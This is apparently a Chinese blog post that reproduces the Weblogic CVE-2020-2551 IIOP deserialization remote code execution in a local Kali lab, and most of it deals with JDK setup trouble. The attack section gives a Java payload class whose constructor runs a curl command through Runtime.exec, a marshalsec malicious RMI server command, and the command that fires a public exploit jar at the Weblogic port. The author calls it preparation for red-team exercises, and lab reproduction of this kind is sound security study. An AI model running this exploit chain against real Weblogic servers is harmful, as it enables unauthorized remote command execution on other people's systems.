「漏洞复现」Weblogic CVE-2020-2551 IIOP协议反序列化RCE

「漏洞复现」Weblogic CVE-2020-2551 IIOP协议反序列化RCE

Scroll Down

Weblogic CVE-2020-2551 IIOP协议反序列化RCE

看到weblogic的这个漏洞,想着到时候hw的时候应该可以利用下。。。。

环境搭建

github上有个大佬,已经把环境脚本全部配置好了。

https://github.com/cnsimo/CVE-2020-2551

但是在搭建的时候还是耗费了我很多时间,主要是java环境搞我。

我复现成功的环境: 虚拟机:kali 2020.1 IP地址:192.168.91.130 安装环境:jdk1.6/weblogic1036版本

安装kali

kali的安装,直接下载的官网最新vm版本。直接虚拟机打开就行

安装jdk1.6

这里不得不说一下,安装jdk1.6的时候,我出现了些问题。直接运行cnsimo制作的集成脚本的化,安装好后,启动weblogic也会报错。 我的报错是这样:

./wls.sh hp
.
.
JAVA Memory arguments: -Xms512m -Xmx512m
.
WLS Start Mode=Development
.
CLASSPATH=/u01/app/oracle/middleware/patch_wls1036/profiles/default/sys_manifest_classpath/weblogic_patch.jar:/u01/app/oracle/middleware/patch_ocp371/profiles/default/sys_manifest_classpath/weblogic_patch.jar:/usr/lib/jvm/java-11-openjdk-amd64/lib/tools.jar:/u01/app/oracle/middleware/wlserver/server/lib/weblogic_sp.jar:/u01/app/oracle/middleware/wlserver/server/lib/weblogic.jar:/u01/app/oracle/middleware/modules/features/weblogic.server.modules_10.3.6.0.jar:/u01/app/oracle/middleware/wlserver/server/lib/webservices.jar:/u01/app/oracle/middleware/modules/org.apache.ant_1.7.1/lib/ant-all.jar:/u01/app/oracle/middleware/modules/net.sf.antcontrib_1.1.0.0_1-0b2/lib/ant-contrib.jar:/u01/app/oracle/middleware/wlserver/common/derby/lib/derbyclient.jar:/u01/app/oracle/middleware/wlserver/server/lib/xqrl.jar
.
PATH=/u01/app/oracle/middleware/wlserver/server/bin:/u01/app/oracle/middleware/modules/org.apache.ant_1.7.1/bin:/usr/lib/jvm/java-11-openjdk-amd64/jre/bin:/usr/lib/jvm/java-11-openjdk-amd64/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
.

To start WebLogic Server, use a username and *
password assigned to an admin-level user. For *
server administration, use the WebLogic Server *
console at http://hostname:port/console *
starting weblogic with Java version:
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Listening for transport dt_socket at address: 8453
openjdk version "11.0.6" 2020-01-14
OpenJDK Runtime Environment (build 11.0.6+10-post-Debian-1)
OpenJDK 64-Bit Server VM (build 11.0.6+10-post-Debian-1, mixed mode, sharing)
Starting WLS with line:
/usr/lib/jvm/java-11-openjdk-amd64/bin/java -Xdebug -Xnoagent -Xrunjdwp:transport=dt_socket,address=8453,server=y,suspend=n -Djava.compiler=NONE -Xms512m -Xmx512m -Dweblogic.Name=AdminServer -Djava.security.policy=/u01/app/oracle/middleware/wlserver/server/lib/weblogic.policy -ea -da:com.bea... -da:javelin... -da:weblogic... -ea:com.bea.wli... -ea:com.bea.broker... -ea:com.bea.sbconsole... -Dplatform.home=/u01/app/oracle/middleware/wlserver -Dwls.home=/u01/app/oracle/middleware/wlserver/server -Dweblogic.home=/u01/app/oracle/middleware/wlserver/server -Dweblogic.management.discover=true -Dwlw.iterativeDev= -Dwlw.testConsole= -Dwlw.logErrorsToConsole= -Dweblogic.ext.dirs=/u01/app/oracle/middleware/patch_wls1036/profiles/default/sysext_manifest_classpath:/u01/app/oracle/middleware/patch_ocp371/profiles/default/sysext_manifest_classpath weblogic.Server
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Listening for transport dt_socket at address: 8453
<Apr 15, 2020, 11:23:26 PM Eastern Daylight Time> <Disabling CryptoJ JCE Provider self-integrity check for better startup performance. To enable this check, specify -Dweblogic.security.allowCryptoJDefaultJCEVerification=true>
<Apr 15, 2020, 11:23:26 PM Eastern Daylight Time> <Changing the default Random Number Generator in RSA CryptoJ from ECDRBG to FIPS186PRNG. To disable this change, specify -Dweblogic.security.allowCryptoJDefaultPRNG=true>
<Apr 15, 2020, 11:23:26 PM Eastern Daylight Time> <Starting WebLogic Server with OpenJDK 64-Bit Server VM Version 11.0.6+10-post-Debian-1 from Debian>
<Apr 15, 2020, 11:23:26 PM Eastern Daylight Time> <Server subsystem failed. Reason: java.lang.NoClassDefFoundError: org/omg/CORBA/SystemException
java.lang.NoClassDefFoundError: org/omg/CORBA/SystemException
at java.base/java.lang.Class.forName0(Native Method)
at java.base/java.lang.Class.forName(Class.java:315)
at weblogic.kernel.FinalThreadLocalList.initialize(FinalThreadLocalList.java:44)
at weblogic.t3.srvr.PreConfigBootService.start(PreConfigBootService.java:70)
at weblogic.t3.srvr.ServerServicesManager.startService(ServerServicesManager.java:461)
at weblogic.t3.srvr.ServerServicesManager.startInStandbyState(ServerServicesManager.java:166)
at weblogic.t3.srvr.T3Srvr.initializeStandby(T3Srvr.java:881)
at weblogic.t3.srvr.T3Srvr.startup(T3Srvr.java:568)
at weblogic.t3.srvr.T3Srvr.run(T3Srvr.java:469)
at weblogic.Server.main(Server.java:71)
Caused By: java.lang.ClassNotFoundException: org.omg.CORBA.SystemException
at java.base/jdk.internal.loader.BuiltinClassLoader.loadClass(BuiltinClassLoader.java:581)
at java.base/jdk.internal.loader.ClassLoaders$AppClassLoader.loadClass(ClassLoaders.java:178)
at java.base/java.lang.ClassLoader.loadClass(ClassLoader.java:521)
at java.base/java.lang.Class.forName0(Native Method)
at java.base/java.lang.Class.forName(Class.java:315)
at weblogic.kernel.FinalThreadLocalList.initialize(FinalThreadLocalList.java:44)
at weblogic.t3.srvr.PreConfigBootService.start(PreConfigBootService.java:70)
at weblogic.t3.srvr.ServerServicesManager.startService(ServerServicesManager.java:461)
at weblogic.t3.srvr.ServerServicesManager.startInStandbyState(ServerServicesManager.java:166)
at weblogic.t3.srvr.T3Srvr.initializeStandby(T3Srvr.java:881)
at weblogic.t3.srvr.T3Srvr.startup(T3Srvr.java:568)
at weblogic.t3.srvr.T3Srvr.run(T3Srvr.java:469)
at weblogic.Server.main(Server.java:71)

<Apr 15, 2020, 11:23:26 PM Eastern Daylight Time>
<Apr 15, 2020, 11:23:26 PM Eastern Daylight Time>
<Apr 15, 2020, 11:23:26 PM Eastern Daylight Time>

经过我深思熟虑(百度+考虑)后,我认为是java版本问题,然后我看了下当前kali 2020.1版本中的java环境,发现jdk版本也比较新。所以我就尝试去自己装jdk1.6。

将jdk-6u25-linux-x64.bin文件拷贝到kali后,直接给执行权限。

chmod +x jdk-6u25-linux-x64.bin
./jdk-6u25-linux-x64.bin

运行后,就会在当前文件夹安装jdk。 安装好后,我们需要配置一下jdk环境变量。

ps:自行修改下路径

vi /etc/profile



export JAVA_HOME=/package/jdk1.7.0_80
export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar
export PATH=$PATH:$JAVA_HOME/bin

配置好后,我们输入

java -version

1.png 发现版本并不是jdk1.6

是因为最新版的kali内置三个版本的jdk

输入

sudo update-alternatives --config java

(最新版的kali内置一个名为kali密码也为kali的账户,没有root,需要登陆进去后自行passwd改下。)

可以看到有三个版本的,原谅我打码,因为我是设置好了才截图的。

2.png

然后我们设置一下

sudo update-alternatives --install /usr/bin/java java /opt/jdk-9.0.1/bin/java 300

sudo update-alternatives --install /usr/bin/javac javac /opt/jdk-9.0.1/bin/javac 300 注意:/opt/jdk-9.0.1是自己安装的路径。

设置好后,再次输入

sudo update-alternatives --config java

选择我们设置的那项序号就行了。

好,再次查看一下版本就可以发现,我们成功应用jdk1.6版本啦!

3.png

安装weblogic

大致步骤就跟着cnsimo大佬的脚本来,但是要自行删除安装java那一段,因为我们自己已经装好了。

注意!!!还是需要sudo一下哦,最好直接su到root!

安装成功后,启动就行。

使用marshalsec起一个恶意的RMI服务

编译exp.java

exp.java代码如下

package payload;

import java.io.IOException;

public class exp {

    public exp() {
        String cmd = "curl http://192.168.91.130/success";
        try {
            Runtime.getRuntime().exec(cmd).getInputStream();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

然后使用javac编译一下。

javac -source 1.6 -target 1.6 exp.java

会在生成一个exp.class的文件

然后在当前目录(存在exp.class)起一个python的http服务

sudo python -m SimpleHTTPServer 80

然后使用marshalsec起一个恶意的RMI服务

这里有坑了哟,包括后面需要用到的weblogic_CVE_2020_2551.jar文件。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar  marshalsec.jndi.RMIRefServer "http://192.168.91.130/#exp" 1099

这样启动时,会报错。

4.png

我百度一波后,找到了问题所在。 大致原因是因为,这个jar包使用的jdk版本比较高。低版本无法兼容。

所以,我利用kali自带的比较稳定的jdk1.8来运行。 我将marshalsec-0.0.3-SNAPSHOT-all.jar和weblogic_CVE_2020_2551.jar文件放到/usr/lib/jvm/java-8-openjdk-amd64/jre/bin目录下。

然后启动。

5.png 发现成功运行了,我真tm是个天才。。

我是本地起一个80端口的http服务,并且起一个1099端口的rmi服务。这个后面可以解释。

攻击weblogic

使用Y4er编译好的jar包攻击就可以了。

https://github.com/Y4er/CVE-2020-2551

这里要注意,也是需要用高版本的jdk来运行。

./java -jar weblogic_CVE_2020_2551.jar 192.168.91.130 7001 rmi://192.168.91.130:1099/exp

6.png

然后查看一下marshalsec和python的http记录

8.png 9.png

命令执行成功啦。 但是,这种攻击,有个问题,具体分析在https://xz.aliyun.com/t/7498中有提到。

另外,附上weblogic安装包和jdk安装包。 链接: https://pan.baidu.com/s/1GsF68HU8G1oVr2sHGQlcAg 密码: s4gc